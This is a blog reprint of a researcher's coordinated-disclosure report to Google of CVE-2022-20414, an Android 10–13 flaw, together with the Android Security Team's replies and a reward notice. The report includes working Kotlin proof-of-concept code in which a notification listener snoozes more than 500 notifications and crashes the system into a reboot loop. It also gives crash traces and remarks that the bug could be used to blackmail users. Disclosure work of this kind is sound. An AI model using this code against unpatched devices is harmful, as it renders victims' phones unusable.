2022年,一次偶然的机会,我发现了一个会导致Android系统无限重启致使设备完全不可用的高危漏洞,遂提交给了Google。当年11月的AOSP补丁对此进行了修复,本文是我提交漏洞报告的原文,现公开,待整理。具体可以在Android Security Bulletin—November 2022中搜索CVE-2022-20414了解更多。

Report description

In a few words describe your bug. This will help you search for it later.

The “snoozeNotification” method of NotificationListenerService causes Android system to crash and cyclic reboot.

Bug location

Which product or website have you found a vulnerability in?

Android

The problem

Please describe the technical details of the vulnerability

Starting from Android 10, there is a change about AlarmManagerService and we can check the commit in AOSP: Adding a per-uid cap on concurrent alarms. A Google engineer added a piece of code to AlarmManagerService:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void setImpl(...) {
...
synchronized (mLock) {
...
if (mAlarmsPerUid.get(callingUid, 0) >= mConstants.MAX_ALARMS_PER_UID) {
final String errorMsg =
"Maximum limit of concurrent alarms " + mConstants.MAX_ALARMS_PER_UID
+ " reached for uid: " + UserHandle.formatUid(callingUid)
+ ", callingPackage: " + callingPackage;
// STOPSHIP (b/128866264): Just to catch breakages. Remove before final release.
Slog.wtf(TAG, errorMsg);
throw new UnsupportedOperationException(errorMsg);
}
...
}
...
}

For any package, if the current number of alarms exceeds 500, an UnsupportedOperationException will be thrown and cause the process to crash, even if it is a system process.

In general, we do not have permission to set alarm for Android system processes. But let’s take a look at another piece of code that can be implemented by any third-party application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class TestCrashService : NotificationListenerService() {
private val random = Random(System.currentTimeMillis())

override fun onNotificationPosted(sbn: StatusBarNotification?) {
/**
* Snooze any notification here with a random duration (fixed duration also works).
* The duration better be longer so snoozing can be maintained.
*/
sbn?.let {
val duration = TimeUnit.DAYS.toMillis(random.nextLong(30, 365))
snoozeNotification(it.key, duration)
}
}
}

We can import android.service.notification.NotificationListenerService and implement a subclass. A pending alarm is set by AlarmManager when snoozeNotification method is called.

You can run adb shell dumpsys alarm to find the alarm like this:

1
2
3
4
5
6
RTC_WAKEUP #164: Alarm{6975754 type 0 origWhen 1684207980006 whenElapsed 30672085209 android}
tag=*walarm*:SnoozeHelper.EVALUATE
type=RTC_WAKEUP origWhen=2023-05-16 11:33:00.006 window=0 exactAllowReason=allow-listed repeatInterval=0 count=0 flags=0x9
policyWhenElapsed: requester=+354d23h27m52s23ms app_standby=-8m44s929ms device_idle=-- battery_saver=-- power_pending=--
whenElapsed=+354d23h27m52s23ms maxWhenElapsed=+354d23h27m52s23ms
operation=PendingIntent{a03f6fd: PendingIntentRecord{d9f6ff2 android broadcastIntent}}

If there are so many notifications being snoozing, an equivalent amount of pending alarms will be attached to the system process android. It’s very dangerous because an exception is waiting for you before reaching the maximum limit.

Finally, the system crashes and is likely to fall into a loop of reboots. That’s where the vulnerability lies.

Please briefly explain who can exploit the vulnerability, and what they gain when doing so

I have to say that this is a very serious system vulnerability. For any application that implements NotificationListenerService, as long as users allow notification access, it may cause Android system processes to crash, further causing the device to get stuck in a reboot loop and become unavailable.

We can find many apps designed to manage notifications on Play Store. They may use snoozeNotification method to delay or eliminate notifications. If notifications are so many and snoozing duration is not short, there will be a risk of causing Android system to crash once the number of pending alarms reaches the limit.

In other words, someone with bad intentions has way to use this vulnerability to develop malicious applications that can blackmail others. For the average user, it is difficult to recover from this reboot loop.

Upload file

You can add a file to your report to provide additional information on the vulnerability. Max file size is 50MB.

……

The cause

Please specify the steps to reproduce the issue, including sample code where appropriate. Please be as detailed as possible.

Any application can cause a system crash in just two steps. The sample code has been included in a complete Android Studio project attatched below.

Step 1: Please allow notification access for the app. Then the implementation of NotificationListenerService can be running.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private fun startNotificationAccessSetting(context: Context) = try {
context.startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS).apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
})
true
} catch (e: ActivityNotFoundException) {
try {
context.startActivity(Intent().apply {
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
component = ComponentName(
"com.android.settings",
"com.android.settings.Settings\$NotificationAccessSettingsActivity"
)
putExtra(":settings:show_fragment", "NotificationAccessSettings")
})
true
} catch (e1: Exception) {
false
}
}

And the subclass is simple like this:

1
2
3
4
5
6
7
8
9
10
class TestCrashService : NotificationListenerService() {
private val random = Random(System.currentTimeMillis())

override fun onNotificationPosted(sbn: StatusBarNotification?) {
sbn?.let {
val duration = TimeUnit.DAYS.toMillis(random.nextLong(30, 365))
snoozeNotification(it.key, duration)
}
}
}

Step 2: Post a large number of notifications over 500 (MAX_ALARMS_PER_UID).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private fun step2() {
val name = "CrashBySnooze"
val descriptionText = "For test crash."
val importance = NotificationManager.IMPORTANCE_LOW
val channel = NotificationChannel("crash_by_snooze", name, importance).apply {
description = descriptionText
}
val ntfMgr = getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
ntfMgr.createNotificationChannel(channel)

val ntfBuilder = NotificationCompat.Builder(applicationContext, "crash_by_snooze")
.setContentTitle("CrashBySnooze")
.setContentText("For test crash.")
.setSmallIcon(R.mipmap.ic_launcher)
.setPriority(NotificationCompat.PRIORITY_LOW)
mainScope.launch(Dispatchers.IO) {
val ntfBaseId = Random(System.currentTimeMillis()).nextInt(123456, 654321)
for (i in 0..555) {
ntfMgr.notify(ntfBaseId + i, ntfBuilder.build())
}
}
}

Daily use will not have so many notifications appear at once, but day by day, this is chronic death for your Android device.

Specify the build fingerprint from the device used to reproduce the issue. The issue should reproduce on a recent build (within the last 30 days).

run adb shell getprop ro.build.fingerprint and adb shell cat /proc/version for kernel vulnerabilities

All devices based on Android 10+ (i.e. 10~13) have this vulnerability.

Provide a Proof of Concept, complete Android Studio project, source code including an Android.bp file, or similar artifacts.

You can also include a malformed media file, or a video walkthrough for UX issues.

……

Provide crash artifacts including stack trace (if available).

The crash can cause system zyote to die:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
2022-05-27 16:35:11.453 1451-1451/system_process W/AlarmManager: Maximum limit of concurrent alarms 500 reached for uid: 1000, callingPackage: android
2022-05-27 16:35:11.453 1451-1451/system_process E/Zygote: System zygote died with fatal exception
java.lang.IllegalStateException: Maximum limit of concurrent alarms 500 reached for uid: 1000, callingPackage: android
at com.android.server.alarm.AlarmManagerService.setImpl(AlarmManagerService.java:2087)
at com.android.server.alarm.AlarmManagerService$5.set(AlarmManagerService.java:2630)
at android.app.AlarmManager.setImpl(AlarmManager.java:957)
at android.app.AlarmManager.setImpl(AlarmManager.java:917)
at android.app.AlarmManager.setExactAndAllowWhileIdle(AlarmManager.java:1185)
at com.android.server.notification.SnoozeHelper.lambda$scheduleRepostAtTime$2$SnoozeHelper(SnoozeHelper.java:508)
at com.android.server.notification.SnoozeHelper$$ExternalSyntheticLambda4.run(Unknown Source:10)
at com.android.server.notification.SnoozeHelper.scheduleRepostAtTime(SnoozeHelper.java:513)
at com.android.server.notification.SnoozeHelper.scheduleRepost(SnoozeHelper.java:498)
at com.android.server.notification.SnoozeHelper.snooze(SnoozeHelper.java:240)
at com.android.server.notification.NotificationManagerService$SnoozeNotificationRunnable.snoozeNotificationLocked(NotificationManagerService.java:6978)
at com.android.server.notification.NotificationManagerService$SnoozeNotificationRunnable.snoozeLocked(NotificationManagerService.java:6955)
at com.android.server.notification.NotificationManagerService$SnoozeNotificationRunnable.run(NotificationManagerService.java:6920)
at android.os.Handler.handleCallback(Handler.java:938)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loopOnce(Looper.java:210)
at android.os.Looper.loop(Looper.java:299)
at com.android.server.SystemServer.run(SystemServer.java:951)
at com.android.server.SystemServer.main(SystemServer.java:641)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:576)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1051)
2022-05-27 16:35:11.454 1451-1451/system_process E/AndroidRuntime: *** FATAL EXCEPTION IN SYSTEM PROCESS: main
java.lang.IllegalStateException: Maximum limit of concurrent alarms 500 reached for uid: 1000, callingPackage: android
at com.android.server.alarm.AlarmManagerService.setImpl(AlarmManagerService.java:2087)
at com.android.server.alarm.AlarmManagerService$5.set(AlarmManagerService.java:2630)
at android.app.AlarmManager.setImpl(AlarmManager.java:957)
at android.app.AlarmManager.setImpl(AlarmManager.java:917)
at android.app.AlarmManager.setExactAndAllowWhileIdle(AlarmManager.java:1185)
at com.android.server.notification.SnoozeHelper.lambda$scheduleRepostAtTime$2$SnoozeHelper(SnoozeHelper.java:508)
at com.android.server.notification.SnoozeHelper$$ExternalSyntheticLambda4.run(Unknown Source:10)
at com.android.server.notification.SnoozeHelper.scheduleRepostAtTime(SnoozeHelper.java:513)
at com.android.server.notification.SnoozeHelper.scheduleRepost(SnoozeHelper.java:498)
at com.android.server.notification.SnoozeHelper.snooze(SnoozeHelper.java:240)
at com.android.server.notification.NotificationManagerService$SnoozeNotificationRunnable.snoozeNotificationLocked(NotificationManagerService.java:6978)
at com.android.server.notification.NotificationManagerService$SnoozeNotificationRunnable.snoozeLocked(NotificationManagerService.java:6955)
at com.android.server.notification.NotificationManagerService$SnoozeNotificationRunnable.run(NotificationManagerService.java:6920)
at android.os.Handler.handleCallback(Handler.java:938)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loopOnce(Looper.java:210)
at android.os.Looper.loop(Looper.java:299)
at com.android.server.SystemServer.run(SystemServer.java:951)
at com.android.server.SystemServer.main(SystemServer.java:641)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:576)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1051)

HWASan output (if available)

……

Does anyone else know about this vulnerability?

  • No, this vulnerability is private
  • Yes, this vulnerability is public or known to third parties

How would you like to be publicly acknowledged for your report?

If your report is successful we will acknowledge you using this information in the next release.

It’s my pleasure.


What to expect

  1. You will receive an email confirming we have received your report
  2. The report will be sorted and added to the queue of reports
  3. A member of the team will review your report and determine if it is a valid
  4. During this stage it is common for us to contact you with questions about your report
  5. The report is then triaged and the details of the bug are supplied to the relevant team
  6. Depending on the bug we may take between 7 and 14 days to determine the bug’s severity
  7. If successful we will contact you to inform you of your reward

Comments

ysy950803@gmail.com

I have some suggestions as solutions:

  1. Hide the snoozeNotification method for app developers.
  2. Alarms cannot be set for system processes by non-system processes.
  3. Don’t throw an exception for system processes when reaching the maximum limit of alarms, then we can delete the alarm with the longest duration before set a new alarm.

ja...@google.com

Assigned to as...@google.com.
Thank you for submitting this report. We’ve filed an internal report for the Android engineering team to investigate further (specified by the Android ID label). Please follow coordinated disclosure practices, such as keeping this report confidential until we have had time to assess your issue, and if necessary, release an update for Android devices.

PLEASE TAKE THE FOLLOWING ACTIONS NOW, if you have not already:

  1. Sign the Google Contributor License Agreement (1).
  2. In a comment below, let us know how you would like to be acknowledged (2) for discovering this potential vulnerability (including company affiliation, if any).
  3. Provide a PoC that reproduces against a recent Android build (not more than 30 days old).

The typical lifecycle for a confirmed security vulnerability is as follows:

  1. Initial severity rating assessment (subject to change after review by component owners) (3)
  2. Development of an update
  3. Assignment of CVE
  4. Shared under NDA, as part of coordinated disclosure, to Android partners for remediation
  5. Release in a public Android security bulletin
  6. Android Security Rewards payment (if applicable)

Most of these steps will typically be communicated in the sidebar. Please note that we may not reply to requests for status updates or information, however we will continue our typical assessment and remediation efforts. This issue will be updated with information once the reported issue is publicly fixed, if not prior.

Thank you,
Android Security Team

(1) Contributor license agreement: https://cla.developers.google.com/clas
(2) Android Security Acknowledgements: https://source.android.com/security/overview/acknowledgements
(3) Android severity guidelines: https://source.android.com/security/overview/updates-resources.html

ysy950803@gmail.com

Thank you for your reply. ACTIONS DONE:

  1. I have signed the CLA for only myself.
  2. If my work can help improve AOSP, it’s an honor for me to be acknowledged. I want my information to be displayed like this: Sylvester Yao (姚圣禹, blog.ysy950803.top)
  3. The PoC is an Android Studio Project including source code and APK. Please download the attachment.

ja...@google.com

Hello,

Thank you for the additional information as well as your acknowledgement. We will be following our standard investigation and remediation process with this report and ask for your continued confidentiality while we work on this issue.

Thank you,
Android Security Team

ej...@google.com

Hello,

The Android security team has conducted an initial severity assessment on this report. Based on our published severity assessment matrix (1) it was rated as High severity. This issue has been assigned to the appropriate team for remediation, and we’re targeting a fix for release in an upcoming Android Security Bulletin. We will provide an update on remediation status as it becomes available. We ask for your continued confidentiality as we proceed with our standard investigation and remediation process.

Thank you,
Android Security Team
(1) Severity Matrix: https://source.android.com/security/overview/updates-resources#severity

ysy950803@gmail.com

Thanks for your efforts!

I will continue to follow this issue and support you in any way I can.

ysy950803@gmail.com

Hello! How is the progress?

ja...@google.com

Hello,

Thank you for following up! This issue has been fixed and is targeted for release in an upcoming Android Security Bulletin. It will be reviewed for both a CVE and reward eligibility under Android Security Rewards Program rules closer to that time (1). Further details will be provided here when available.

Thank you,
Android Security Team

(1) https://www.google.com/about/appsecurity/android-rewards/

an...@google.com

Congratulations! The rewards committee decided to reward you USD $5,000 for reporting this High severity vulnerability. We are paying for the bug report and proof of concept.

To collect the reward, if you haven’t already, please complete the Android Contributor License Agreement for Individuals, so we can use your test code:
https://cla.developers.google.com/clas

You will receive an email with details on the next steps to collect the reward.

Thank you for your contributions to the safety and security of the Android ecosystem.

Best Regards,
Android Security Team

ysy950803@gmail.com

Thank you for your hard work, I am honored to contribute to the Google ecosystem.

ja...@google.com

Hello,

We will be releasing a patch for this issue in an upcoming bulletin. It will first be released to partners, then to the public the following month.

If you haven’t already, please complete the Google Contributor License Agreement for Individuals, so we can use your patch and test code (1).

We’d also like to recognize your contribution on our acknowledgements page (2). The acknowledgement information we have on record is “Sylvester Yao (姚圣禹, blog.ysy950803.top)”. Please let us know if it has changed.

We may also make this bug publicly accessible when the fix is submitted to AOSP. Please let us know if you would like to keep the bug private instead.

Your CVE ID is CVE-2022-20414.

Thanks,
Android Security Team

(1) https://cla.developers.google.com/clas
(2) https://source.android.com/security/overview/acknowledgements

ysy950803@gmail.com

Thanks for your work. Where can I see the fix code?

ja...@google.com

Hello,

This is targeted to be released in the November bulletin. Thank you for your continued engagement with the Android VRP!

Best,
Android Security Team